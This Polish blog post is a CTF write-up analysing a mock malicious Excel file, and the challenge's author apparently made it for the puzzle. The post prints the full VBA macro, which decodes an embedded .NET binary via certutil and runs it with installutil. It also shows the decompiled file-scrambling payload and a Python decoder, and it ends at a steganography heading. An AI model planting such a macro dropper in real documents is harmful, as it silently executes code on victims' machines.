Analiza zmyślonego malware
Czwarte z rzędu⌗
Ostatnio upominałem się o trochę trudniejsze zadania CTFowe organizowane przez ten portal. Mam wrażenie, że moje uwagi zostały wysłuchane :) bo dziś na warsztat trafił trochę trudniejszy czelendż
, od tych poprzednich. Okazuje się, że pomimo urlopu i trafienia na zadanie 3 dni po publikacji, znów udało mi się je rozwiązać w TOP1. Poniżej przedstawiam writeup opisujący jak doszedłem do rozwiązania. Tym razem jest to wyzwanie ponownie przygotowane przez Grzegorza Sowę, z którym miałem okazję porozmawiać po zgłoszeniu rozwiązania. Podobno można prościej, ale wymaga to znajomości jakiś narzędzi napisanych w C#. Nie znam się, więc z ewentualnymi pytaniami myślę, że warto łapać Autora. Od dzisiaj daję sobie spokój z wyzwaniami WładcówSieci. Cztery razy na podium starczy. Dam szansę innym. Do zadań wrócę jeśli będą ciekawe i wymagające. Jednocześnie obiecuję nie rozwiązywać ich za szybko ;)
Side note: Nie wszystkie ciekawe mechanizmy wyłapałem, ale cel był taki aby zadanie rozwiązać jak najszybciej a nie zastanawiać się nad użytymi technikami. Zachęcam do samodzielnego rozwiązania i analizy.
Przy okazji, uruchomiłem statyczne komentarze na blogu, od teraz można komentować moje wpisy! :). Jak na statycznego bloga przystało, wykorzystuje staticmana odpalonego na darmowej instancji heroku. Pula tysiąca komentarzy miesięcznie czeka na wykorzystanie!
Recon⌗
Treść zadania wyglądała następująco:
dodatkowo Autorzy zadania uściślili wymagania w sposób pokazany poniżej:
Cel wyzwania:
Celem zadania jest odnalezienie przepisu na groszek oraz opisanie kolejno wykonywanych kroków.
Pod poniższym linkiem: https://cutt.ly/YiVBAZ2 znajduje się załącznik maila, którego dostał główny informatyk.
Hasło do zipa to: wladcysieci.
Prosimy o przesłanie opisu wykonanych kroków oraz podanie przepisu w postaci flagi -> FLG{xxxx} oraz opisu wykonanych czynnośna adres: info@wladcysieci.pl
Do wygrania nagroda główna Plecak Dell Pursuit 15 przydatny podczas wakacyjnych podróży. Na kolejne dwie osoby, które rozwiążą zadanie czekają bezprzewodowe słuchawki JBL Tune.
Dodatkowo na każdego, kto weźmie udział w gRywalizacji czeka +5pkt w rankingu oraz paczka upominków od Władcy Sieci.
Życzymy powodzenia!
Okazuje się, że początkowo forma flagi została przedstawiona w sposób nieprawidłowy oraz przedstawione wymagania nie były spójne (po wysłaniu zapytania o format flagi, wyszło że wysłanie krok po kroku rozwiązania jest również wymagane). Po zwrócieniu uwagi na powyższe niedopatrzenia post został edytowany i usterki naprawione.
Link do zadania prowadzi do archiwum zip na Google Drive, w którym znajdują się dwa pliki:
- dofinansowanie.xmls
- przepis
Po wypakowaniu (archiwum zabezpieczone jest hasłem wladcysieci) zipa można przyjrzeć się zawartości. Otrzymujemy dwa pliki, przepis
stanowi dane binarne (zapewne zaszyfrowane w skutek działania malware podrzuconego szefowi firmy), tymczasem drugi plik (dofinansowanie.xlsm
) stanowi dokument Excela (zapewne ze złosliwymi makrami).
~/Downloads/wladcyscieci ❯ ls -la
total 1412
drwxr-xr-x 2 fox users 4096 Aug 20 16:35 .
drwxr-xr-x 11 fox users 20480 Aug 20 16:35 ..
-rw-r--r-- 1 fox users 226325 Jun 30 05:46 dofinansowanie.xlsm
-rw-r--r-- 1 fox users 1190762 Jun 30 05:46 przepis
~/Downloads/wladcyscieci ❯ r2 -qfnc 'p==' przepis
█ █ █ █ █
█ █ █ █ █ █ ██ █ █ ███ █ █
█ █ █ █ █ ██ █ █ █ █ ██ █ █ █ ███ █ █
█ ██ █ █ █ ███ █ █ █ ████ █ █ █ █ █ ███ █ █ █ ██
█ █ ██ █ █ █ ███ █ █ ██ █████ █ █ █ █ █ ███ █ █ █ ██
██ █ ██ █ █ █ █ ███ █ █ ██ █████ █ █ █ █ ██ ████ ███ █ ██
██ █ ███ █ █ █ █ ███ ██ █ ██ █████ █ █ █ █ ██ ████ ███ █ ██
███ ███ ███ █ █ █ █ ███ ██ █ ██ ██████ █ █ █ █ ██ ██ ████ ███ █ ██
███ ███ ███ █ █████ ██████████ ██ ██████ █ ███ ███ █ ██ ██ █████ ███ ██ ██
███ ███████ ██████████████████ ██ ██████ █████████ █ █ ██ ██ █████ ██████ ██
███ ███████ ██████████████████ ██ ██████ █████████ █ █ ██ ██ █████ ██████ ██
███████████ █████████████████████ ██████ ███████████ ████ █████████ ██████ ██
██████████████████████████████████████████████████████████████████████████████
~/Downloads/wladcyscieci ❯ rahash2 -a entropy przepis
przepis: 0x00000000-0x00122b69 entropy: 7.98529263
~/Downloads/wladcyscieci ❯ file przepis
przepis: data
~/Downloads/wladcyscieci ❯ file dofinansowanie.xlsm
dofinansowanie.xlsm: Microsoft Excel 2007+
Plik Office⌗
Nie pamiętam dokładnego powodu, a nie chcę zasłaniać się lenistwem, przez który nie analizowałem dokumentu Office przy pomocy Excela lub LibreOffice. Jak się okazało brak GUI był kluczem do sukcesu i pozwolił obejść rzekome trudności. Funkcjonalność Excela pozwala na ukrycie arkuszy, co miało na celu utrudnienie analizy pliku.
~/Downloads/wladcyscieci ❯ ssconvert -S dofinansowanie.xlsm asdf.csv
~/Downloads/wladcyscieci ❯ ls -la | grep asdf
-rw-r--r-- 1 rav users 441 Aug 20 16:41 asdf.csv.0
-rw-r--r-- 1 rav users 195 Aug 20 16:41 asdf.csv.1
-rw-r--r-- 1 rav users 128261 Aug 20 16:41 asdf.csv.2
Program ssconvert umożliwia konwersję arkuszy kalkulacyjnych na wiele formatów. W tym czytelny z poziomu konsoli format tekstowy. Wynikiem konwersji danego xlsm
na csv
są trzy pliki odpowiadające trzem arkuszom znajdującym się wewnątrz. Jeśli użytkownik dokonałby analizy przy pomocy pakietu Office zapewne nie zobaczyłby dwóch ukrytych arkuszy. Ale po kolei.
Plik asdf.csv.0
stanowi główny arkusz dokumentu wyglądający następująco:
~/Downloads/wladcyscieci ❯ cat asdf.csv.0
"Formularz dofinansowania w programie ""Innowacyjna gospodarka""",
,
,
"Czy produkt firmy wprowadza istotne innowacje na rynek krajowy?",-
"Czy wykorzystywany park maszynowy został przygotowany pod kątem rozbudowy?",-
"Czy produkt kojarzony jest przez konsumetów z ""ekologią""?",-
"Czy firma dba o rozwój swoich pracowników?",-
"Czy zarząd firmy aktywnie wspiera lokalne społeczności?",-
,
,
,
,
,
,
,
,
,
,
,
,
,
,
,
-,
tak,
nie,
Jest to formularz zawierający serię pytań, na które użytkownik powinien udzielić odpowiedzi aby otrzymać dofinansowanie. Z kolei następny arkusz zawiera serię dziwnych ciągów oraz nazw programów systemu Windows.
~/Downloads/wladcyscieci ❯ cat asdf.csv.1
34
22
30
48
36
23
open
"decodehex -f"
25
scripting.filesystemobject
43
new:
0883f19c0a00-5548-1d11-1a2f-09dfa80c
c:\windows\microsoft.net\Framework\
installutil.exe
certutil.exe
Trzeci z wypakowanych arkuszy jest najbardziej tajemniczy i stanowi kolumnę liczb. Jego fragment przedstawiam poniżej:
~/Downloads/wladcyscieci ❯ cat asdf.csv.2 | wc -l
22016
~/Downloads/wladcyscieci ❯ head asdf.csv.2
45901
34906
37776
18688
19459
50432
768
49408
52996
46080
Na tym etapie już staje się jasne co się dzieje. Użytkownik uruchamia dokument i uzupełnia pola. W międzyczasie (albo w wyniku uzupełnienia formularza) wywoływane są makra, ktore korzystając z dwóch nastepnych arkuszy dokonują jakiegoś działania. Pozostaje sprawdzić jakie makra obecne są w arkuszu. W tym celu można wykorzystać pythonowe narzędzie officeparser
.
~/Downloads/wladcyscieci ❯ officeparser --extract-macros ./dofinansowanie.xlsm
WARNING: last sector has invalid size
INFO: Saving VBA code to ./Ten_skoroszyt_1.cls
INFO: Saving VBA code to ./Arkusz1_1.cls
INFO: Saving VBA code to ./Arkusz2_1.cls
INFO: Saving VBA code to ./Arkusz3_1.cls
Okazuje się, że do przygotowania zadania (czego dowiedziałem się już po zgłoszeniu) został wykorzystany program EvilClippy, którego funkcjonalność pozwala między innymi na ukrycie makr przed użytkownikiem. Jak widać tym razem udało się je wypakować bez większych problemów. Tym samym otrzymałem makra dostepne w dokumencie (jak się później okazało - poprawnie wyodrębnione z dokumentu).
Z czterech plików, aż trzy zawierały boilerplate code, który nie wnosił nic do analizy i wyglądał nastepująco:
Attribute VB_Name = "Arkusz3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Natomiast plik Arkusz_1.cls
zawierał następujący kod:
~/Downloads/wladcyscieci ❯ cat Arkusz1.cls
Attribute VB_Name = "Arkusz1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub fun1(path As String, par As String)
Dim targetFile As String
Dim obj As Object
Dim parvar As Variant
targetFile = Split(path, "")(0)
Set obj = konwert()
parvar = par
Visible = 1
obj.ShellExecute targetFile, parvar, "", getGizmo(2), Visible
End Sub
Function getGizmo(loc As Integer)
ind = Worksheets("Arkusz2").Range("A" + CStr(loc)).value
getGizmo = Worksheets("Arkusz2").Range("A" + CStr(ind - 15)).value
End Function
Function konwert()
Set konwert = GetObject(getGizmo(3) + StrReverse(getGizmo(1))).Document.Application
End Function
Sub saveHexFile(fso As Object, fileName As String, worksh As Object, startrow As Long)
Dim value As Long
Dim outValue As Long
Dim row, col As Long
Dim bufpos As Long
Dim Digit As Integer
Dim buffer As String
Set mucha = fso.createtextfile(fileName)
hexDigits = "0123456789abcdef"
row = startrow
col = 1
bufpos = 0
Do Until False
If IsEmpty(worksh.Cells(row, col)) Then
Exit Do
End If
value = worksh.Cells(row, col)
outValue = value Mod 256
Rem convert to hex
outValueHigh = outValue \ 16
Digit1 = Mid(hexDigits, outValueHigh + 1, 1)
buffer = buffer + Digit1
outValueLow = outValue Mod 16
Digit2 = Mid(hexDigits, outValueLow + 1, 1)
buffer = buffer + Digit2
row = row + 1
If (row > 65536) Then
col = col + 1
row = startrow
End If
bufpos = bufpos + 2
If (bufpos > 100) Then
mucha.writeLine (buffer)
bufpos = 0
buffer = ""
End If
Loop
mucha.writeLine (buffer)
mucha.Close
End Sub
Function findframeworkdir(fso As Object, basedir As String)
basedirlen = Len(basedir)
For Each objFolder In fso.GetFolder(basedir).SubFolders
res = InStr(basedirlen + 1, objFolder, "v4.")
If res = basedirlen + 1 Then
findframeworkdir = objFolder
Exit Function
End If
Next
End Function
Sub test()
Dim p As String
Dim tmpname As String
Dim fso As Object
Dim kaczka As String
Dim insutilfullname As String
Sheets("Arkusz2").Visible = True
Sheets("Dane").Visible = True
Set fso = CreateObject(getGizmo(9))
kaczka = fso.GetSpecialFolder(2)
frameworkdir = findframeworkdir(fso, getGizmo(5))
insutilfullname = frameworkdir + "\" + getGizmo(11)
tmpname = kaczka + "\" + fso.getTempName()
tmpname2 = kaczka + "\" + fso.getTempName()
Call saveHexFile(fso, tmpname, Worksheets("dane"), 100)
fun1 getGizmo(4), "-" + getGizmo(6) + " " + tmpname + " " + tmpname2
fun1 insutilfullname, "" + tmpname2
Sheets("Arkusz1").Visible = True
Sheets("Arkusz2").Visible = False
Sheets("Dane").Visible = False
End Sub
Sub Worksheet_Change(ByVal Target As Range)
Dim KeyCells As Range
answered = 0
Start = 4
Number = 5
For i = Start To Start + Number - 1
If Range("B" + CStr(i)).value <> "-" Then
answered = answered + 1
End If
Next
If answered = Number Then
Call verify
End If
End Sub
Sub verify()
Call test
End Sub
Nie wiem czy nazwy poszczególnych zmiennych i funkcji to jakieś nawiązania, ale zdecydowanie nie wyglądają na standardowy kod i warto się im przyjrzeć. Czytanie VBscriptu nie jest dla mnie procesem przyjemnym, dlatego w tak prostych zadaniach uprzyjemniam sobie proces przez wykorzystanie konwertera do bardziej zjadliwego języka jakim jest Python. Skorzystałem z gotowego rozwiązania dostępnego tu (jest też biblioteka). Oczywiście konwersja jednego języka na drugi może nieść za sobą pewne utrudnienia i wyjściowy kod nie zawsze będzie działał, ale w tym przypadku nie potrzebowałem działającego przykładu tylko opisu tego, co się w programie dzieje. Teoretycznie vb2py
można by nazwać transpilatorem, bowiem wyjściowy kod funkcjonalnie jest tożsamy z wejściowym, a obydwa języki to ten sam poziom abstrakcji. Praktycznie - nie uruchamiałem tego kodu, ani nie analizowałem biblioteki, więc ciężko mi powiedzieć, czy konwersja wpłynęła jakoś na funkcjonalność kodu.
Kod w języku Python wygląda dużo zwięźlej i czytelniej
from vb2py.vbfunctions import *
from vb2py.vbdebug import *
def fun1(path, par):
targetFile = String()
obj = Object()
parvar = Variant()
targetFile = Split(path, '')(0)
obj = konwert()
parvar = par
Visible = 1
obj.ShellExecute(targetFile, parvar, '', getGizmo(2), Visible)
def getGizmo(loc):
ind = Worksheets('Arkusz2').Range('A' + CStr(loc)).value
fn_return_value = Worksheets('Arkusz2').Range('A' + CStr(ind - 15)).value
return fn_return_value
def konwert():
fn_return_value = GetObject(getGizmo(3) + StrReverse(getGizmo(1))).Document.Application
return fn_return_value
def saveHexFile(fso, fileName, worksh, startrow):
value = Long()
outValue = Long()
row = Variant()
col = Long()
bufpos = Long()
Digit = Integer()
buffer = String()
mucha = fso.createtextfile(fileName)
hexDigits = '0123456789abcdef'
row = startrow
col = 1
bufpos = 0
while not (False):
if IsEmpty(worksh.Cells(row, col)):
break
value = worksh.Cells(row, col)
outValue = value % 256
#convert to hex
outValueHigh = outValue // 16
Digit1 = Mid(hexDigits, outValueHigh + 1, 1)
buffer = buffer + Digit1
outValueLow = outValue % 16
Digit2 = Mid(hexDigits, outValueLow + 1, 1)
buffer = buffer + Digit2
row = row + 1
if ( row > 65536 ) :
col = col + 1
row = startrow
bufpos = bufpos + 2
if ( bufpos > 100 ) :
mucha.writeLine(( buffer ))
bufpos = 0
buffer = ''
mucha.writeLine(( buffer ))
mucha.Close()
def findframeworkdir(fso, basedir):
basedirlen = Len(basedir)
for objFolder in fso.GetFolder(basedir).SubFolders:
res = InStr(basedirlen + 1, objFolder, 'v4.')
if res == basedirlen + 1:
fn_return_value = objFolder
return fn_return_value
return fn_return_value
def test():
p = String()
tmpname = String()
fso = Object()
kaczka = String()
insutilfullname = String()
Sheets['Arkusz2'].Visible = True
Sheets['Dane'].Visible = True
fso = CreateObject(getGizmo(9))
kaczka = fso.GetSpecialFolder(2)
frameworkdir = findframeworkdir(fso, getGizmo(5))
insutilfullname = frameworkdir + '\\' + getGizmo(11)
tmpname = kaczka + '\\' + fso.getTempName()
tmpname2 = kaczka + '\\' + fso.getTempName()
saveHexFile(fso, tmpname, Worksheets('dane'), 100)
fun1(getGizmo(4), '-' + getGizmo(6) + ' ' + tmpname + ' ' + tmpname2)
fun1(insutilfullname, '' + tmpname2)
Sheets['Arkusz1'].Visible = True
Sheets['Arkusz2'].Visible = False
Sheets['Dane'].Visible = False
def Worksheet_Change(Target):
KeyCells = Range()
answered = 0
Start = 4
Number = 5
for i in vbForRange(Start, Start + Number - 1):
if Range('B' + CStr(i)).value != '-':
answered = answered + 1
if answered == Number:
verify
def verify():
test
# VB2PY (UntranslatedCode) Attribute VB_Name = "Arkusz1"
# VB2PY (UntranslatedCode) Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
# VB2PY (UntranslatedCode) Attribute VB_GlobalNameSpace = False
# VB2PY (UntranslatedCode) Attribute VB_Creatable = False
# VB2PY (UntranslatedCode) Attribute VB_PredeclaredId = True
# VB2PY (UntranslatedCode) Attribute VB_Exposed = True
# VB2PY (UntranslatedCode) Attribute VB_TemplateDerived = False
# VB2PY (UntranslatedCode) Attribute VB_Customizable = True
Całość przetwarzania zaczyna się od funkcji Worksheet_Change
, która obserwuje zmiany dokonywane w arkuszu z “formularzem”. W przypadku, gdy wykryte zostanie pomyslne wypełnienie arkusza wywoływana jest funkcja verify
, która przekazuje sterowanie do funkcji test
, w której zaimplementowano główną logikę programu. Pobieżna analiza wskazuje, że nie jest to bezpośrednio funkcja ingerująca w system plików (np. wywołująca proces szyfrowania), a jedynie kolejna warstwa przygotowania payloadu.
Funkcja test
korzysta z funkcji pomocniczych GetGizmo
, saveHexFile
oraz fun1
. Pierwsza z nich swoje działanie opiera na drugim arkuszu, którego zawartość zaprezentowana została w pliku asdf.csv.1
. Wyliczając offset pobiera i zwraca dane z określonej komórki. saveHexFile
konwertuje liczby na system szesnastkowy i zapisuje do pliku. natomiast funkcja fun1
służy do wywoływania poleceń przez wykorzystanie metody ShellExecute
. Aby zebrać w jednym miejscu kolejne operacje wykonywane w ramach funkcji test
stworzyłem brzydki skrypt pokazany poniżej:
~/devp/tmp ❯ cat arkusz_solver.py
#! /usr/bin/env python3
gizmo = [
34,
22,
30,
48,
36,
23,
'open',
"decodehex -f",
25,
'scripting.filesystemobject',
43,
"",
"",
"",
'new:',
"",
"",
"",
'0883f19c0a00-5548-1d11-1a2f-09dfa80c',
'',
'c:\\windows\\microsoft.net\\Framework\\',
'',
'',
'',
'',
'',
'',
'installutil.exe',
'',
'',
'',
'',
'certutil.exe',
''
]
def getgizmo(loc):
ind = gizmo[loc - 1]
# print(ind)
if not isinstance(ind, int):
raise Exception
ind = ind - 15 - 1
# print(ind)
thing = gizmo[ind]
return thing
def konwert():
return f"GetObject({getgizmo(3)}{getgizmo(1)[::-1]}).Document_Application"
def test():
print(f'FSO = {getgizmo(9)}')
print(f'{getgizmo(5)}')
print(f'frameworkdir + \'\\\' + = {getgizmo(11)}')
print(f'{getgizmo(4)}')
print(f'{getgizmo(6)}')
print(f'{getgizmo(3)}')
print(f'{getgizmo(1)}')
print(f'{getgizmo(2)}')
print(f'fun1({getgizmo(4)}, -{getgizmo(6)} tmpfile1 tmpfile2)')
print(f'fun1(installutil.exe, tmpfil2')
print(f"Konwert = {konwert()}")
if __name__ == '__main__':
test()
Wynikiem działania arkusz_solver.py
jest zdeobfuskowany fragment kodu funkcji test
, który wygląda następująco:
~/devp/tmp ❯ python arkusz_solver.py
FSO = scripting.filesystemobject
c:\windows\microsoft.net\Framework\
frameworkdir + '\' + = installutil.exe
certutil.exe
decodehex -f
new:
0883f19c0a00-5548-1d11-1a2f-09dfa80c
open
fun1(certutil.exe, -decodehex -f tmpfile1 tmpfile2)
fun1(installutil.exe, tmpfil2
Konwert = GetObject(new:c08afd90-f2a1-11d1-8455-00a0c91f3880).Document_Application
Ubierając w kontekst wartości zwrócone przez powyższy skrypt otrzymujemy następujący obraz sytuacji:
- dostępne (
Sheets[_nazwa_].Visible = True
) stają się arkuszeArkusz2
orazdane
fso
zostaje instancjąScriptingObject
kaczka
to folder tymaczasowyframeworkdir
wskazuje na ścieżkęc:\windows\microsoft.net\Framework\
insutilfullname
wskazuje na ścieżkę doinstallutil.exe
- tworzone są dwie nazwy plików tymczasowych w folderze wskazywanym przez mienną
kaczka
, kolejnotmpname
oraztmpname2
- Zapisywany jest plik o nazwie przechowywanej w
tmpname
z wykorzystaniem funkcjisaveHexFile
, na podstawie danych z arkuszadane
- wywoływana jest funkcja
fun1
w celu wywołania poleceniacertutil -decodehex -f tmpfile1 tmpfile2
, które to polecenie przekształca heksadecymalną formę arkuszadane do pliku binarnego
- wywoływana jest funkcja
fun1
w celu wywołania poleceniainstallutil.exe tmpfile2
, które to polecenie ma na celu zainstalowanie usługi z wykorzystaniem narzędzia installutil, podanej jako parametrassembly
, czyli zdekodowanej postaci arkuszadane
- na koniec ukrywane są zbędne arkusze danych
Tym samym część zagadki została rozwiązana. W celu pozyskania binarki wykorzystałem poniższy skrypt:
#!/usr/bin/env python3
import csv
def savehexfile(fname, offset):
fe = ""
with open(fname, 'r') as f:
content = f.read()
lines = content.split('\n')
for l in lines:
if not l:
break
a = int(l) % 256
fe += format(a, '02x')
print(fe[offset: ])
return fe
if __name__ == '__main__':
# savehexfile('asdf.csv.2', 100)
savehexfile('asdf.csv.2', 101)
Wynikiem jego działania jest plik tekstowy zawierający dane tekstowe będące reprezentacją pliku wykonywalnego.
~/Downloads/wladcysieci/tmp ❯ file output.txt
output.txt: ASCII text, with very long lines
~/Downloads/wladcysieci/tmp ❯ wc output.txt
1 1 43932 output.txt
Po konwersji otrzymujemy plik PE32 napisany z wykorzystaniem technologii .NET. Pewnie jest to payload, który dokonuje szyfrowania plików na dysku. W wyniku braku środowiska do debugowania procesów systemów z rodziny Windows dokonałem tylko analizy statycznej. Analizy, która wystarczyła aby rozwiązać powyższe zadanie.
~/Downloads/wladcysieci/tmp ❯ cat output.txt | xxd -r -p > exec.bin
~/Downloads/wladcysieci/tmp ❯ file exec.bin
file.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Inżynieria wsteczna pliku PE⌗
Plik wykonywalny zdekompliwałem z użyciem DotPeeka.
Na pierwszy rzut oka binarka wygląda na zobfuskowaną. Nie mam dużego doświadczenia w analizie .NETa, ale jeśli to nie obfuskacja to chociaż brak symboli debugera, co sprawia, że czytanie kodu nie jest zbyt przyjemne.
Główna logika zadania została zdekompilowana do kasy C1255198513
internal class C1255198513
{
public static void C3554254475()
{
// ISSUE: object of a compiler-generated type is created
// ISSUE: variable of a compiler-generated type
C1255198513.C3554254475 c3554254475 = new C1255198513.C3554254475();
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "tajne");
// ISSUE: reference to a compiler-generated field
c3554254475.C3554254475 = new Random();
int num1 = (int) MessageBox.Show("Kill'em all Started");
try
{
// ISSUE: reference to a compiler-generated method
IOrderedEnumerable<string> orderedEnumerable = ((IEnumerable<string>) Directory.GetFiles(path, "*.*", SearchOption.AllDirectories)).Where<string>((Func<string, bool>) (obj0 => char.IsLetter(obj0[0]))).Where<string>((Func<string, bool>) (obj0 => !C3554254475.C3904355907.C1255198513(obj0))).OrderBy<string, int>(new Func<string, int>(c3554254475.C3554254475));
C3554254475.C3904355907 c3904355907 = new C3554254475.C3904355907("blekota");
foreach (string str in (IEnumerable<string>) orderedEnumerable)
{
c3904355907.C1908338681(str);
c3904355907.C3904355907(str);
}
}
catch (DirectoryNotFoundException ex)
{
int num2 = (int) MessageBox.Show("Directory:" + path + " doesn't exist");
}
catch (Exception ex)
{
int num2 = (int) MessageBox.Show(ex.Message);
}
int num3 = (int) MessageBox.Show("Done");
while (true)
Thread.Sleep(10000);
}
}
Zadaniem metody C3554254475()
jest pozyskanie ścieżki do katalogu tajne
umieszczonego na pulpicie użytkownika. Następnie dla plików umieszczonych w tym folderze wykonywane są dwie metody. Druga, krótsza c3904355907.C3904355907()
odznacza tylko pliki jako zaszyfrowane/zakodowane natomiast c3904355907.C1908338681();
skrywa logikę operacji na pliku.
public bool C1908338681([In] string obj0)
{
FileStream fileStream = (FileStream) null;
BinaryReader binaryReader = (BinaryReader) null;
BinaryWriter binaryWriter = (BinaryWriter) null;
bool flag = true;
try
{
Console.WriteLine("Processing file:" + obj0);
fileStream = File.Open(obj0, FileMode.OpenOrCreate, FileAccess.ReadWrite);
binaryReader = new BinaryReader((Stream) fileStream);
binaryWriter = new BinaryWriter((Stream) fileStream);
byte[] array = new byte[65536];
int newSize;
while ((newSize = binaryReader.Read(array, 0, array.Length)) > 0)
{
Console.WriteLine("read bytes:" + newSize.ToString());
Array.Resize<byte>(ref array, newSize);
byte[] buffer = this.C3554254475(array);
binaryWriter.Seek(-newSize, SeekOrigin.Current);
binaryWriter.Write(buffer);
Console.WriteLine("write bytes:" + buffer.Length.ToString());
}
}
catch (Exception ex)
{
flag = false;
}
finally
{
binaryWriter.Dispose();
binaryReader.Dispose();
fileStream.Dispose();
}
return flag;
}
Program odczytuje zawartość pliku wejściowego i następnie z wykorzystaniem funkcji this.C3554254475(array)
dokonuje przestawienia bajtów w sposób następujący.
private byte[] C3554254475([In] byte[] obj0)
{
if (obj0.Length > 65536)
throw new ArgumentException("data len too long");
int length = obj0.Length;
int num = length;
byte[] numArray = new byte[length];
for (; num > 0; --num)
{
int index = (int) this.C3554254475[length - num] % num;
numArray[length - num] = obj0[index];
obj0[index] = obj0[num - 1];
}
return numArray;
}
Dla każdej paczki (chunk) danych o wielkości nie większej niż 65536 bajtów wykonywane są przestawienia bajtów zgodnie z kolejnością przedstawioną w pętli for
. Operacja przesunięć bajtów (shuffle) wykorzystuje pole klasy this.C3554254475
, które jest tablicą danych typu ushort
, zdefiniowane następująco “private readonly ushort[] C3554254475”. Tablica ta wyliczana jest na podstawie ziarna, podanego jako parametr konstruktora C3554254475.C3904355907 c3904355907 = new C3554254475.C3904355907("blekota");
. Słowo blekota inicjalizuje proces generowania tablicy przesunięć zaimplementowany następująco:
public C3904355907([In] string obj0)
{
this.C3554254475 = this.C3554254475(obj0);
if (this.C3554254475.Length != 65536)
throw new ArgumentException("invalid len of randStream");
}
private ushort[] C3554254475([In] string obj0_1)
{
List<ushort> ushortList = new List<ushort>(65536);
byte[] buffer = Encoding.ASCII.GetBytes(obj0_1);
while (ushortList.Count < 65536)
{
buffer = new SHA512Managed().ComputeHash(buffer);
ushortList.AddRange((IEnumerable<ushort>) ((IEnumerable<byte>) buffer).C3554254475<byte>().Select<Tuple<byte, byte>, ushort>((Func<Tuple<byte, byte>, ushort>) (obj0_2 => (ushort) ((uint) obj0_2.Item1 * 256U + (uint) obj0_2.Item2))).ToList<ushort>());
}
return ushortList.ToArray();
}
Należy zwrócić uwagę na funkcję C3554254475
, która zawiera całą trudność zadania. Z wejściowego ciągu blekota iteracyjnie tworzona jest lista liczb zbudowanych na podstawie hasha sha512. Proces ten można zobrazować czytelniej przy pomocy równorzędnego kodu w Pythonie.
def calc_touple(t):
return (t[0] * 256 + t[1]) & 0xffff
def chunk(l, size=2):
it = iter(l)
return iter(lambda: tuple(islice(it, size)), ())
def get_seed(a): #should be blekota
l = []
arr = a.encode('utf-8')
while len(l) < 65536:
arr = util.hashes.sha512sum(arr)
c = chunk(arr)
l += list(map(calc_touple, c))
return l
Myślę, że tak przedstawiony kod jest na tyle prosty, że nie wymaga dalszych wyjaśnień. W efekcie jego działania otrzymujemy tablicę stałych, które wykorzystywane są w procesie mieszania bajtów. Aby ułatwić sobie zrozumienie kodowania wejściowego pliku z przepisem na groszek przepisałem kod do Pythona. Poniższa funkcja jest równoważna metodzie private byte[] C3554254475([In] byte[] obj0)
przedstaiwonej wyżej.
def encrypt(chunk, lookup):
num = len(chunk)
i = num
outchunk = bytearray(num)
while i > 0:
num2 = lookup[num - i] % i # znajduje wartosc w tablicy shuffli
outchunk[num - i] = chunk[num2] # nowa wartosc w num - itym polu arraya to plik[num2]
chunk[num2] = chunk[i - 1] # w pliku oryginalnym podmieniam wartość num2 na i - 1 z tego pliku
i -= 1
return outchunk
Umieściłem komentarze, które ułatwią odwrócenie procesu. Należy zwrócić uwagę na kolejność wykonywania działań, w innym przypadku skrypt dekodujący zwróci niepoprawny plik. Funkcja dekodująca została zaprezentowana poniżej:
def decrypt(outchunk, lookup):
num = len(outchunk)
chunk = bytearray(len(outchunk))
outchunk = bytearray(outchunk)
i = 1
while i <= num:
num2 = lookup[num - i] % i
chunk[i - 1] = chunk[num2]
chunk[num2] = outchunk[num - i]
i += 1
return chunk
Nie jest to skomplikowane. Teraz wystarczy wczytać plik przepis
dostarczony w archiwum zip zadania. Aby uprościć sobie debugowanie napisałem prosty skrypt, który dekoduje przepis oraz sprawdza czy proces odkodowania przebiegł pomyślnie. Po kilku próbach dostosowania parametrów wykonanie sovlera przyniosło plik wyjściowy w postaci poprawnego pliku png.
#! /usr/bin/env python3
from pwn import util
from itertools import islice
from io import BytesIO
from PIL import Image
def calc_touple(t):
return (t[0] * 256 + t[1]) & 0xffff
def chunk(l, size=2):
it = iter(l)
return iter(lambda: tuple(islice(it, size)), ())
def get_seed(a): #should be blekota
l = []
arr = a.encode('utf-8')
while len(l) < 65536:
arr = util.hashes.sha512sum(arr)
c = chunk(arr)
l += list(map(calc_touple, c))
return l
def encrypt(chunk, lookup):
num = len(chunk)
i = num
outchunk = bytearray(num)
while i > 0:
num2 = lookup[num - i] % i # znajduje wartosc w tablicy shuffli
outchunk[num - i] = chunk[num2] # nowa wartosc w num - itym polu arraya to plik[num2]
chunk[num2] = chunk[i - 1] # w pliku oryginalnym podmieniam wartość num2 na i - 1 z tego pliku
i -= 1
return outchunk
def decrypt(outchunk, lookup):
num = len(outchunk)
chunk = bytearray(len(outchunk))
outchunk = bytearray(outchunk)
i = 1
while i <= num:
num2 = lookup[num - i] % i
chunk[i - 1] = chunk[num2]
chunk[num2] = outchunk[num - i]
i += 1
return chunk
def decryption(fname, d):
parts = bytearray(0)
with open(fname, 'rb') as f:
chunk = f.read(65536)
while chunk:
print(len(chunk))
parts.extend(decrypt(chunk, d[:]))
chunk = f.read(65536)
open('przepis_plaint.png', 'w+b').write(parts)
return parts
def encryption(bts, d):
chunks = []
parts = bytearray(0)
for i in range(0, len(bts), 65536):
chunks.append(bts[i: i + 65536])
for c in chunks:
parts.extend(encrypt(c, d))
print(len(c))
open('plaint2', 'w+b').write(parts)
return parts
if __name__ == '__main__':
seed = get_seed('blekota')
parts = decryption('./przepis', seed)
print('############')
parts2 = encryption(parts, seed)
parts3 = bytearray(0)
parts3.extend(open('./przepis', 'rb').read())
diff = 0
for i, j in zip(parts2, parts3):
if int(i) != int(j):
diff += 1
print(diff)
print(diff/len(parts2))
Wyjściowa grafika prezentuje się tak:
Stegangorafia?⌗
